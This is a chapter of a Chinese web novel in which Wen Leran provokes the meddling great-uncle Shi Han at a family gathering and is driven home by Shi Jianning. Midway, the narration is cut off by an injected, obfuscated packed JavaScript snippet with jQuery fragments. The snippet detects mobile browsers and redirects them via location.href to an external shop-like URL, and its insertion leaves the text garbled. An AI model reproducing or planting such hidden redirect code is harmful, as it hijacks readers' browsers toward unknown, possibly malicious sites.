因为施渐宁那一眼，直到晚饭结束，温乐然都没敢再乱来。


    主要是，也找不到新机会。


    饭后陪着老人在客厅里又坐了一会，温乐然正琢磨是不是要主动告辞，就见佣人快步走了过来。


    “老爷，二老爷来了。”


    施和有些意外：“他怎么来了？”


    佣人说：“说是正好路过，想您了，就进来看看。”


    施和抬眼看向施渐宁，“呵”了声，话里有话地重复：“正好路过。”


    要“正好路过”半山的别墅大宅实在不易，温乐然都听出了不对，偷偷看了施渐宁一眼。


    结果被捉了个正着。


    男人勾了勾唇，把完美伴侣扮演得入木三分，低声给他解释：“二爷爷，就是爷爷的堂弟。”


    温乐然秒懂。


    哦，就是小说网剧最常见的那款远房亲戚，关系疏远得小说设定都不带他的那种。


    两人这边说着小话，那边施和已经朝佣人点头，示意把客人请进来。


    不一会，一个六十来岁的瘦老头便溜达着走进来，一见施和就笑：“没打扰大哥吧？刚也不知道你们家有客人在，正好路过，就想着来看看您。”


    说着，他又跟施渐宁招呼：“阿宁也回来了？难得回来，好好陪一陪你爷爷。”


    施渐宁神色不动，只微微颔首，应了声。


    施和笑笑：“坐吧。都是自己人。”


    瘦老头微诧，目光终于落到了温乐然身上。


    这目光里带着点不加掩饰的打量，温乐然客气地回了个笑容，没有马上开口。


    “这孩子长得不错啊。”瘦老头看了会就又笑了，不太上心地夸了句，问施和，“这就是之前说的，阿宁找的那男媳妇？”


    最后三个字听起来有些刺耳，温乐然轻易听出了其中的嫌弃。


    “对，就是阿宁家的小温。温乐然。”施和却像是没听出来，随口给双方介绍，“这是我堂弟施翰。你就跟着阿宁叫一声二爷爷吧。”


    温乐然这才叫了声。


    那瘦老头不甚分明地点点头，显然不太想认这个称呼。


    温乐然下意识往施和看去，发现老人虽然不动声色，可眼里的笑意终究是淡了一分。


    他顿时双眼一亮。


    这位二爷爷，是个好人！


    可惜没等到施翰再发挥，施和已经再次开口：“老二，有什么事就直说吧。”


    施翰一听，再没管温乐然，转过脸去又堆满了笑。


    “看大哥说的，我就是想来看看你。”顿了顿，大概是终于察觉到了施和的不耐烦，他话锋连忙一转，“不是什么大事。”


    “哦？”


    “也怪我们家小柯不争气。”施翰长叹了口气，“就上个月的事，那孩子粗心大意犯了点小错。差点酿成大祸，所幸最后也没出什么大纰漏。”


    施和附和了一句：“嗯，年轻人，犯错总是难免的，没出大事就好。”


    “所以我想啊……都一个月了，是不是可以让他从行政部调回去啦？”


    温乐然宛如个无关紧要的吃瓜群众听了半天，这时终于忍不住看向施渐宁。


    连他这外人都听懂了。


    不外乎就是关系户犯了错，被发配边疆，于是当长辈的直接越过真正的集团掌权人，来找他爷爷告状了。


    可被告状的人一脸淡然，好像一切都与他无关。


    豪门戏现场难得一见，温乐然忍不住又看向施和。


    施和倒是微微点了点头，不是答应，倒像是在思索。


    过了好一会，他终于道：“你也知道，我早就不管公司的事了。你说的这事，我也不清楚……你说的是行柯吧，他原来是在哪个部门来着？”


    施翰碰了个不软不硬的钉子，脸上笑容差点没挂住：“他一进公司就在项目部了……”


    施和又点了点头，却是看向施渐宁。


    “二爷爷，像这种小事，往后您跟我助理说一声就好，不用特意跑一趟。”施渐宁悠悠道，“关跃，施行柯有他的联系方式。”


    施翰脸上笑容又扭曲了下：“别误会，我才没那个闲心管孩子的事呢。就是路过来看看大哥，正好话赶话嘛。”


    他解释着，却又不死心地叹了口气。


    “唉，小柯其实也不是故意的。你也知道，他媳妇刚怀孕，身体又不好，他也是对媳妇太上心了，才不小心忽略了其他地方。等你以后自己遇上就知道……啊。”


    施翰说到突然打住，看了温乐然一眼，才又笑了笑：“你看我这都忘了，不好意思啊，小温别介意。”


    温乐然顿时精神一振。


    来了。


    果然，听到施翰这话，施和眉尖微微一挑。


    施渐宁却依旧八风不动。


    温乐然想了想，给他二爷爷回了个乖巧又略带委屈的笑容，以兹鼓励。


    施翰看了一圈，忍不住又对着施渐宁道：“说起来，之前看你跟城南李家那二姑娘相处得挺好的，我还以为你们……没想到你喜欢男孩子。你们年轻人的想法啊，我们这种老家伙是看不懂咯。”


    温乐然简直想给这位二爷爷鼓掌了。


    他就不信，被亲戚当面这么说，像施和这样设定传统的老人还能坐得住；就不信长辈丢脸后，施渐宁还能一点压力都没有。


    对，他是个不能生孩子的男人，赶紧离婚把他抛弃才是正道！


    然而下一秒，却听到施渐宁说：“二爷爷，小然现在已经是我的合法伴侣了。”


    “是是，二爷爷多嘴了。”施翰脸色变了变，又笑着道，“我就是老记着你二叔管着公司那会儿，你二婶总会在旁边帮衬着……”


    不是，你好端端的提他叔叔干什么？


    温乐然满心的期待瞬间被浇了个透心凉。


    尤其是发现施渐宁居然默不吭声地把那驼骨手串又拿出来盘，更觉得这位二爷爷正在往作死的路上狂奔而去。


    然而施翰毫无知觉，话里话外就顺着这男媳妇的事指桑骂槐，各种暗示施渐宁管理公司太过强硬，没有人情味。


    “别怪我管得宽，二爷爷算是看着你长大，也是为你好……”


    温乐然越听越无助，看着施渐宁一颗一颗地数珠子，心里的弹幕都快刷屏了。


    快别再提二叔了，大佬他已经在盘算拿您这老骨头磨珠子啦！


    对，就该批评他乱来，怎么就找个男媳妇呢。


    李家千金学历这么厉害？那还是别祸害人家姑娘了吧……


    施翰念了会，看施渐宁始终没什么反应，又故意地叹了口气：“哎，我这话小年轻肯定不爱听……”


    温乐然彻底无语了。


    这位年纪不小，水平居然比贺衍还不如，这茶香都要馊了。


    他往旁边瞄了一眼，施渐宁果然还在慢悠悠地盘着手串。


    “您说得有道理。”


    语气淡淡的一句话，温乐然却听得心里发毛，想了想，还是伸手把佣人之前送来的茶往施翰跟前推了推：“二爷爷，要不先喝口茶吧。”


    您别说了。


    施翰却只扫了他一眼，也没碰那茶，居然又顺杆爬：“照我说……”


    温乐然：[微笑就好.jpg]


    他不着痕迹地看了施和一眼，发现老人神色也是淡淡的，就像是在看一场闹剧，丝毫没有要开口阻止的意思。


    算了。


    温乐然干脆也就当闹剧接着看，心里的弹幕也接着刷。


    然而施翰绕了个圈，又回到了老话题上：“公司里的老人，肯定还是更吃你二叔那一套……”


    “你已经说过一遍了……”


    唠叨的话猝然一顿，施翰有些恼怒地瞪了他一下。


    温乐然愣住。


    接着发现施和也撩起了耷拉的眼皮，就连身旁的施渐宁都不轻不重地扫了他一眼。


    温乐然：？


    他是不是，不小心把弹幕说出来了？


    然而没等温乐然想明白，施翰已经沉着脸问：“你什么意思？”


    今天好像一直有人在问他什么意思。


    温乐然一脸无辜地说：“我没什么意思……”


    施渐宁又扫了他一眼。


    施和也蹙了蹙眉，但最终还是劝了句：“都是年轻人，还小，不够稳重，你担待些。”


    本以为施翰会顺着台阶下，没想到这瘦老头轻哼一声，竟又接了句：“这样可不行啊。”


    温乐然几次摁下去的念头终于再次支棱起来。


    施渐宁显然已有不满，施老爷子看着也不高兴了，他要是再跟这二爷爷杠起来，今天这“见家长”表现肯定拿负分吧？


    此时不作，更待何时！


    “怎么又不行？”温乐然把心一横，笑着反问，“二爷爷，这也不行那也不行，要不您说说，怎样才是对的？”


    施翰大概没想到这刚还一脸乖巧安分的人会突然反击，话在嘴边憋了半天，才扭头问施渐宁：“你就教他这样跟长辈说话？”


    温乐然早就发现自己回嘴后，对面的施和眉头皱得更厉害了。这时更不敢去看身旁男人的表情，听到施翰的话，干脆就没给施渐宁反应的机会。


    “跟宁哥没关系！”他直接呛了施翰一句。“宁哥敬您，一直都没说话呢。是我看不过眼。”


    “你一个外人，有什么资格看不过眼。”


    对对对，我只是个外人。


    温乐然对这位二爷爷的回答非常满意，开口的语气却越发委屈：“是啊，我就是个外人，可您呢？一边要他为了公司稳定放弃改革，一边要他为了公司发展娶个不爱的人，还这个做得不对，那个做得不好……怎么，重鸣这么大的集团，成败就全看他一个人了？还是说要宁哥卖身联姻才能保住公司？”


    听到这，施和终于忍不住轻咳一声。


    温乐然话都砸出去了，只能当没听见，直视着施翰继续道：“您口口声声说是看着宁哥长大的，您都不心疼他吗？”


    施翰脑子本就不如温乐然灵活，最后被大帽子一扣，脸都涨红了，半天才挤出一句话来：“既然当了这掌权人，自然要以大局为重。”


    “是啊，大局为重。那他按公司规章制度办事，您也别怪他啊。”


    施翰又是一噎。


    温乐然继续


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144263|138465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    补刀：“而且，您也知道他是掌权人啊？重鸣现在是他在管，又不是他二叔在管，为什么非要逼他学别人的做法呢？他是人，又不是机器，他有他的想法，哪有什么应该不应该的？”


    本只是想把施翰怼急了，好让他帮忙挑唆闹一闹，可一路说下来，温乐然都觉得自己说得挺有道理的。


    小说里，施渐宁最后会扭曲成那么可怕的杀人狂魔，就是因为身边这些人吧？


    当长辈的端起架子就能随意“教训”他，最亲的爷爷在旁边看着却毫不作为，这么一想，温乐然都有点同情施渐宁了。


    就在这时，凉凉的目光从旁边扫来，又收了回去。


    温乐然偷看了一眼，发现施渐宁盘手串的动作不知道什么时候已经停下，他只捏着其中一颗珠子，指尖因为用力而微微泛白。


    呜，同情收回。


    但戏得演完。


    “反正我看不得你这样欺负他，你们不心疼，我心疼。宁哥做错什么了？重鸣现在不是越来越好了吗？就算您是长辈，也没有这样胡说八道的。”


    他说着，话音都似有些哽咽了，一副泫然欲泣的模样，好像是真的心疼和替施渐宁委屈。


    施翰也是从没见过这阵仗，一时间说话都有些结巴了，也不知是因为无措，还是被气的。


    “好，好。”他哼唧半天，“之前听说阿宁找了个小明星，我就有些担心，果然是上不得台面……算了，我也知道我这老东西招人嫌，我以后不来。”


    说着，施翰站起来就要往外走。


    “老二。”施和这时才淡淡地叫了声。


    施翰马上就停住脚步。


    施和这才朝温乐然扬了扬下巴：“好了，毕竟是长辈，给你二爷爷道个歉。”


    温乐然脸上越发委屈：“爷爷也觉得我说错了吗？”


    施和定眼看他，神色莫辨。


    就在这时，一只温热的大手伸过来，揉了揉他的头。


    施渐宁的声音随即响起，带着温柔的哄劝之意：“听话，去给二爷爷说声对不起。”


    那动作实在轻柔，温乐然心跳不由自主快了起来。


    愣了两秒，他才意识到，施渐宁揉他头的手，刚刚还在盘那些驼骨珠子。


    一瞬间，汗毛都立了起来。


    温乐然不着痕迹地躲了躲，像是终于老实，走到施翰身后，含糊地说了句“对不起”。


    施翰只是哼了一声。


    施渐宁却又道：“二爷爷，您可能不知道，总部大楼最近很多设备临近报废年限。更换设备牵扯到不少大宗采购，都归行政部管，行柯哥在那边我更放心。”


    施翰身体微僵，半晌才说：“那你放心，这次小柯肯定会给你看好。”


    “那就麻烦行柯哥了。”


    有施渐宁递梯子，施翰这次终于顺着下了，又闲扯了几句便告辞离去。


    人一走，整个施家大宅都像被按了静音，连带着气氛都变得凝重起来。


    温乐然稳坐在沙发上，却不自觉地舔了舔唇。


    接下来，就该算他的帐了吧。


    然而诡异的沉默后，施和只叫了管家一声，便若无其事地对温乐然二人道：“我有点累了，你们也早点回去吧。”


    施渐宁似乎对这结局也不意外，站了起来：“那爷爷早点休息。”


    施和点点头，临走时又淡淡地看了温乐然一眼：“毕竟是长辈。”


    说完，也没等温乐然回话，便在管家陪同下回房间去了。


    客厅里一下子就只剩下温乐然和施渐宁。


    气氛越发吓人，温乐然忍不住又舔了舔唇。


    施渐宁似有所觉地看了他一眼。


    “走吧。”


    温乐然默默跟在施渐宁后头走到车库，才突然意识到，关跃不在。


    他们来时的那辆车标都特别贵的车子，倒是稳稳当当地停在车库里。


    温乐然心里升起一抹不好的预感。


    “施先生……”


    然后他就看到施渐宁停在了驾驶座门边，朝自己望了过来。


    “关助理呢？”


    施渐宁似乎笑了一下。但太浅淡，温乐然又不太确定。


    施渐宁说：“现在已经是晚上九点，他不能下班吗？”


    能。


    您是大BOSS，您说了算。


    温乐然站在车子的另一边，心里纠结成麻花。


    施总纾尊降贵给他开车，他要是坐后座，是不是，有点，找死？


    没等温乐然纠结出结果，施渐宁已经再次开口了：“你不是喜欢坐副驾？”


    是的，我喜欢。


    温乐然一秒都没犹豫，拉开副驾的门就钻了进去。


    另一边的门也随即打开，男人也低头坐进来。


    清浅的木香一掠而过，又消失在咫尺。


    车子很快驶出施家大宅，眼前出现了蜿蜒的山路，路灯幽幽，在夜色中平添几分神秘和落寞。


    温乐然屏息等了好久，却发现施渐宁好像真的什么都不打算说。


    他挣扎半晌，终于开口：“今晚……”


    “今晚表现不错。”